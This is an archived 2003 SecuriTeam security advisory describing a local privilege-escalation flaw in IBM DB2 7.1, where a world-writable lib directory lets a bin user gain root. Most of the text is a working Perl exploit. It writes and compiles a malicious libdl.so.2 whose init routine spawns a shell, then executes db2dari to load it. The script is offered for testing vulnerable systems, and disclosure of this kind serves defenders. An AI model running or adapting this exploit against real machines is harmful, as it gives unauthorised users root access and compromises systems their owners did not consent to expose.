[EXPL] IBM DB2 Lib Directory Vulnerability Allows Gaining of Elevated Privileges (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 08/14/03

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      IBM DB2 Lib Directory Vulnerability Allows Gaining of Elevated Privileges
    (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    A vulnerability in IBM's DB2 allows local users to gain bin privileges
    (elevated privileges) by exploiting the fact that the /usr/IBMdb2/V7.1/lib
    directory is left world writable after a default installation. The
    following exploit code can be used to test your system for the mentioned
    vulnerability.

    DETAILS

    Vulnerable systems:
     * IBM DB2 version 7.1

    Exploit:
    #!/usr/bin/perl

    #IBM DB2 local root from uid=bin
    #deadbeat,
    #e: daniels@legend.co.uk
    #e: deadbeat@sdf.lonestar.org

    print "\nIBM db2 local bin escape to root sploit\n";
    print "Preparing exploit...\n";

    system("cd /usr/IBMdb2/V7.1/lib");
    open FILEHANDLE, (">foo.c")or die "Cant open foo for writing..:(\n";
    print FILEHANDLE "#include <stdio.h>\n";
    print FILEHANDLE "#include <string.h>\n\n";
    print FILEHANDLE "_init() {\n";
    print FILEHANDLE "\tprintf(\"init..()\\n\");\n";
    print FILEHANDLE "\tprintf(here we go: PID=\%i EUID=\%i\", getpid(),
    getuid());\n";
    print FILEHANDLE "\tsystem(\"/bin/bash\");\n";
    print FILEHANDLE "\tprintf(\"wicked done and dusted..\\n\")\n";
    print FILEHANDLE "}";
    close FILEHANDLE;
    system("gcc -fpic -shared -o libdl.so.2 foo.c");
    exec("db2dari")

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:deadbeat@sdf.lonestar.org>
    deadbeat.

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